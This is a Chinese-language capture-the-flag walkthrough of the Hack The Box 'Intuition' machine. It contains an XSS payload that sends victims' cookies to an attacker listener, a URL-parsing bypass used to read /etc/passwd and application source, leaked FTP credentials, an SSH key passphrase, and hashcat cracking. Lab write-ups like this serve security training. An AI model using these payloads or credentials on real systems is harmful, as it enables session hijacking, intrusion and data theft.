Page cover image

🧘‍♂️Week 2 - Intuition

信息收集

Nmap 端口探测

获取开放端口 22/ssh 80/http.

WEB服务相关信息收集

获取域名

首先域名访问web服务,获取域名为 comprezzor.htb

子域名爆破

HTB都是虚拟环境,虚假的域名,自能用爆破的形式获取子域名.

dnsmap comprezzor.htb -w /usr/share/wordlists/subdomains-1000.txt

其中子域名列表来自 GitHub.

共探测到三个子域名:

  • auth.comprezzor.htb

  • report.comprezzor.htb

  • dashboard.comprezzor.htb

目录扫描

  1. comprezzor.htb

  2. auth.comprezzor.htb [17:54:00] 200 - 3KB - /login [17:54:01] 500 - 265B - /logout [17:54:21] 200 - 3KB - /register

  3. report.comprezzor.htb

  4. dashboard.comprezzor.htb

探索WEB服务可能的漏洞点

comprezzor.htb 下的压缩服务可能存在xz后门

最近大名鼎鼎的xz后门事件,但是据了解,这个后门没有披露具体用法,所以可以知道这应该是个兔子洞.

report.comprezzor.htb/report_bug 下的漏洞报告服务可能存在XSS漏洞

auth.comprezzor.htb 登录与注册服务可能存在SQL注入

尝试无果.

获取第一个 user flag

首先, 注册一个账号!!!! 进入 report 页面.

开启监听:

nc -lvvp 555

payload:

<img src=x onerror="fetch('http://10.10.14.xx:555/?cookie='+document.cookie);" >

成功获得cookie!!!

user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4

浏览器中添加 cookie , 这里使用的插件是 modheader

拿到 cookie 我们能做什么 ? 当然是去 dashboard 一探究竟 !

可以看到我们提交的漏洞报告, 检查了一遍, webdev没啥用.

尝试把权重提高, 看能不能提交给上层更高权限的用户. 记得开nc的监听.

等一等,如果没收到就重启一下机子.

获得Cookie:

user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5

更换这个cookie,再次访问dashboard, 就多出来了好多功能.

Create PDF Report 存在本地/远程文件包含等漏洞

这个页面大概率是漏洞点, 但是存在黑名单或者白名单的规则限制 ,尝试下只能访问http协议.

使用nc监听, 看看能收集到什么信息.

可以看到发来的包, 用的是Python-urllib/3.11, 大概率可以确定该服务是 flask.

Google一下这个包,发现存在解析漏洞.

在访问的链接最前面添加一个空格,就可以绕过urlparse()函数对协议的检查.

构造payload (不要漏了前面的空格):

 file:///etc/passwd

然后挺奇怪的,真正的用户只有一个 root ,这个时候其实怀疑这个是在容器内, 访问根目录下的.dockerenv, 确实能够成功下载,可以证明确实是在 docekr 容器内.

在容器内,能够获取的有效的信息就比较有限, 特别实在这种盲盒的形式下, 现在就把希望放在了源代码上了.

根据 linux man5 手册下, /proc/self/cmdline 为存放在执行当前进程的命令的只读文件,.

构造payload (不要漏了前面的空格):

 file:///proc/self/cmdline

可以知道启动web项目时,使用的指令为

python3 /app/code/app.y

也就知道了 flask 的入口py文件.

继续构造payload获取app.py的源码:

 file:///app/code/app.py

整理后的代码:

from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp

app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024  # Limit file size to 5MB
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'docx'}  # Add more allowed file extensions if needed

app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report')
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard')

if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0", port=80)

从 flask 的蓝图可以知道, 三个子域名以及主域名下代码的路径:

  • /app/code/blueprints/index/index.py

  • /app/code/blueprints/report/report.py

  • /app/code/blueprints/auth/auth.py

  • /app/code/blueprints/dashboard/dashboard.py

同样的方式,构造payload获取这些源码:

from flask import Blueprint, request, render_template, flash, redirect, url_for, send_file
from blueprints.auth.auth_utils import admin_required, login_required, deserialize_user_data
from blueprints.report.report_utils import get_report_by_priority, get_report_by_id, delete_report, get_all_reports, change_report_priority, resolve_report
import random, os, pdfkit, socket, shutil
import urllib.request
from urllib.parse import urlparse
import zipfile
from ftplib import FTP
from datetime import datetime

dashboard_bp = Blueprint('dashboard', __name__, subdomain='dashboard')

pdf_report_path = os.path.join(os.path.dirname(__file__), 'pdf_reports')
allowed_hostnames = ['report.comprezzor.htb']

@dashboard_bp.route('/', methods=['GET'])
@admin_required
def dashboard():
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] == 'admin':
        reports = get_report_by_priority(1)
    elif user_info['role'] == 'webdev':
        reports = get_all_reports()
    return render_template('dashboard/dashboard.html', reports=reports, user_info=user_info)

@dashboard_bp.route('/report/', methods=['GET'])
@login_required
def get_report(report_id):
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] in ['admin', 'webdev']:
        report = get_report_by_id(report_id)
        return render_template('dashboard/report.html', report=report, user_info=user_info)
    else:
        pass

@dashboard_bp.route('/delete/', methods=['GET'])
@login_required
def del_report(report_id):
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] in ['admin', 'webdev']:
        report = delete_report(report_id)
        return redirect(url_for('dashboard.dashboard'))
    else:
        pass

@dashboard_bp.route('/resolve', methods=['POST'])
@login_required
def resolve():
    report_id = int(request.args.get('report_id'))
    if resolve_report(report_id):
        flash('Report resolved successfully!', 'success')
    else:
        flash('Error occurred while trying to resolve!', 'error')
    return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/change_priority', methods=['POST'])
@admin_required
def change_priority():
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] != ('webdev' or 'admin'):
        flash('Not enough permissions. Only admins and webdevs can change report priority.', 'error')
        return redirect(url_for('dashboard.dashboard'))
    report_id = int(request.args.get('report_id'))
    priority_level = int(request.args.get('priority_level'))
    if change_report_priority(report_id, priority_level):
        flash('Report priority level changed!', 'success')
    else:
        flash('Error occurred while trying to change the priority!', 'error')
    return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/create_pdf_report', methods=['GET', 'POST'])
@admin_required
def create_pdf_report():
    global pdf_report_path
    if request.method == 'POST':
        report_url = request.form.get('report_url')
        try:
            scheme = urlparse(report_url).scheme
            hostname = urlparse(report_url).netloc
            try:
                dissallowed_schemas = ["file", "ftp", "ftps"]
                if (scheme not in dissallowed_schemas) and ((socket.gethostbyname(hostname.split(":")[0]) != '127.0.0.1') or (hostname in allowed_hostnames)):
                    print(scheme)
                    urllib_request = urllib.request.Request(report_url, headers={'Cookie': 'user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhM'})
                    response = urllib.request.urlopen(urllib_request)
                    html_content = response.read().decode('utf-8')
                    pdf_filename = f'{pdf_report_path}/report_{str(random.randint(10000,90000))}.pdf'
                    pdfkit.from_string(html_content, pdf_filename)
                    return send_file(pdf_filename, as_attachment=True)
                else:
                    flash('Invalid URL', 'error')
                    return render_template('dashboard/create_pdf_report.html')
            except:
                flash('Unexpected error!', 'error')
                return render_template('dashboard/create_pdf_report.html')
        except Exception as e:
            raise e
    else:
        return render_template('dashboard/create_pdf_report.html')

@dashboard_bp.route('/backup', methods=['GET'])
@admin_required
def backup():
    source_directory = os.path.abspath(os.path.dirname(__file__) + '../../../')
    current_datetime = datetime.now().strftime("%Y%m%d%H%M%S")
    backup_filename = f'app_backup_{current_datetime}.zip'
    with zipfile.ZipFile(backup_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
        for root, _, files in os.walk(source_directory):
            for file in files:
                file_path = os.path.join(root, file)
                arcname = os.path.relpath(file_path, source_directory)
                zipf.write(file_path, arcname=arcname)
    try:
        ftp = FTP('ftp.local')
        ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
        ftp.cwd('/')
        with open(backup_filename, 'rb') as file:
            ftp.storbinary(f'STOR {backup_filename}', file)
        ftp.quit()
        os.remove(backup_filename)
        flash('Backup and upload completed successfully!', 'success')
    except Exception as e:
        flash(f'Error: {str(e)}', 'error')
    return redirect(url_for('dashboard.dashboard'))

这里重点在 dashboard.py 下的 backup 函数, 暴露了 ftp 服务的账号和密码.

host:   ftp.local
user:   ftp_admin
passwd: u3jai8y71s2

继续利用本地文件包含, 构造payload如下, 查看ftp内有啥文件:

 ftp://ftp_admin:[email protected]/

可以看到, 有私钥!!! 但是还不知道username!! 利用同样的方式,把私钥和welcome_note.txt都down下来看看.

私钥

这里可以看到,他还把私钥加密了, passphrase 为 Y27SH19HDIWD , 可以用 ssh-add 加入key, 获取用户名.

得到用户名为 dev_acc.

激动人心, ssh 连接上主机, 获取 user flag

ssh [email protected] -i id_rsa

后渗透信息收集

Linpeas 获取信息

二话不说, 先上 linpeas .

把比较有用的信息截了个图.

user 用户:

除了登录的用户, 还有几个用户.

用户组:

用户组中也有些有意思的, adam 和 lopez 用户都在 sys-adm 用户组中, 大概率权限比较高.

/opt 目录下:

有些东西, 其中有的是sys-adm组的权限

.db 文件

user.db 是 web 服务用的, 在前面的代码里也有出现, 值得关注.

查看 usesr.db 破解获得 adam 密码

到 /var/www/app/blueprints/auth/, 使用 sqlite3 读取数据库.

sqlite3 users.db

用hashcat跑一下:

.\hashcat.exe -a 0 -m 30120 --force .\hashfile\hash.txt .\wordlist\rockyou.txt

成功跑出密码adam gray.

最后更新于

这有帮助吗?